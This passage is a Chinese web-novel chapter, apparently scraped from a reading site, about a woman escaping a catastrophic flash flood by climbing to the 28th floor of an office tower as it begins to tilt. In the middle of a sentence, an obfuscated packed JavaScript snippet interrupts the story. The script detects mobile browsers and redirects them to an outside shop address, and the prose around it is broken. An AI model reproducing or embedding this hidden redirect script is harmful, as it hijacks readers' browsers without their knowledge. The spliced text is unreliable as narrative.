那边有高山,还是数条大江大河的发源地,这是一场属于陆地的海啸,山洪要爆发了。 他们所有人无处可逃,在这一刻只能接受大自然的审判。 洪水来了! 从西边的高地一路俯冲进入市区。 写字楼里顿时乱成一锅粥,祁安安挤在人群中,在一片混乱中向更高的楼层冲去。 她看不到外面的可怖,却能听到声音。洪水中似乎蛰伏着一只巨兽,沉闷的轰隆声,伴随着建筑被冲垮的倾塌声,由远及近,仿佛战斗的号角,带着要把天地都吞没的气势。 完了! 祁安安暴起了一层鸡皮疙瘩,高烧加紧张,她心脏跳得飞快,闷着头往顶楼冲。 人群中还有尖叫声。 “别推别挤,别踩到人了啊!” “别往柜子下面钻,这挡不住洪水的。” “往高处去,上到20层以上!” “快上去,洪水太高了,留在下面会死的!” 楼道里挤满了人,只要脑子还正常,所有人都知道要往上跑。 越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023976|138758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近的山洪已经不亚于一场惊天动地的大海啸,它会淹没一切,到时候整个m市恐怕都会沦为一片汪洋。 到时候这栋写字楼被淹没的就不仅仅是十楼。 姜澜在前面开路,祁安安忍着头晕,一步也不掉队的紧跟在他身后。 终于在最短的时间跑上了写字楼最高的顶楼,还没来得及站稳。 “轰”一声巨响,滔天巨浪狠狠撞击在楼体上,祁安安整个人被巨力往前一推,狠狠摔在旁边的墙壁上,撞得鼻子生疼。 天旋地转中,无数撞击声涌入耳朵。 大楼似乎变成了海边的巨石,被巨浪一遍又一遍不厌其烦地冲刷,漂浮在海面下的,是曾经辉煌的人类文明,和无数生灵的尸体。 “啊啊啊啊,救……命!救命!” 惨叫声不绝于耳,写字楼的玻璃早就碎掉,没有及时上到高楼层的幸存者,等待他们的命运只有被一道巨浪卷走,然后不知所踪。 祁安安恢复了行动能力,强忍着眩晕,三两步钻到一张电脑桌下躲了起来。 巨浪正在摧毁楼体结构,她听到了墙壁发出令人牙酸的嘎嘎声,天花板上不断有墙皮掉落。 她浑身紧绷地躲在桌子下,突然鼻尖传来一股淤泥的腥臭味。 这是什么? 洪水居然冲到了28层! 到处都是黄色的洪水,混着发腥发臭的味道。 她从空间里取出了救生圈和氧气面罩,紧张地在原地被动等待审判。 还好,上天似乎对人类还留有一线生机。 除了时不时卷进28层的水浪,他们这层楼暂时没有更多威胁。 也就是说,洪水并不能淹没到28层。 或许刚刚它只是打了个巨浪,只有最高的浪尖处扫到一点。 祁安安长出一口气,还是不敢从桌下出去。28层的洪水也涨了很深,她蹲着,水面几乎与膝盖持平,非常难受。 “嘭!”水下传来一声沉闷的巨响,紧接着大楼的楼体开始不受控制的在倾斜。 向右侧倾斜! 毫无疑问,这可能是随着洪水卷来的巨物,狠狠撞击在了大楼上,破坏了楼体结构导致的倾斜。 无论什么情况,大楼开始倾斜,已经证明它不再安全了。而且,因为倾斜导致楼层高度下降,28楼的水位越涨越高。 更吓人的是,头顶传来一声声闷响,似乎是钢筋水泥,支撑不住变形,慢慢崩裂拆解的声音。 耳边是同一层一楼幸存者的尖叫:“救命啊,大楼要倒了,天花板要破了!”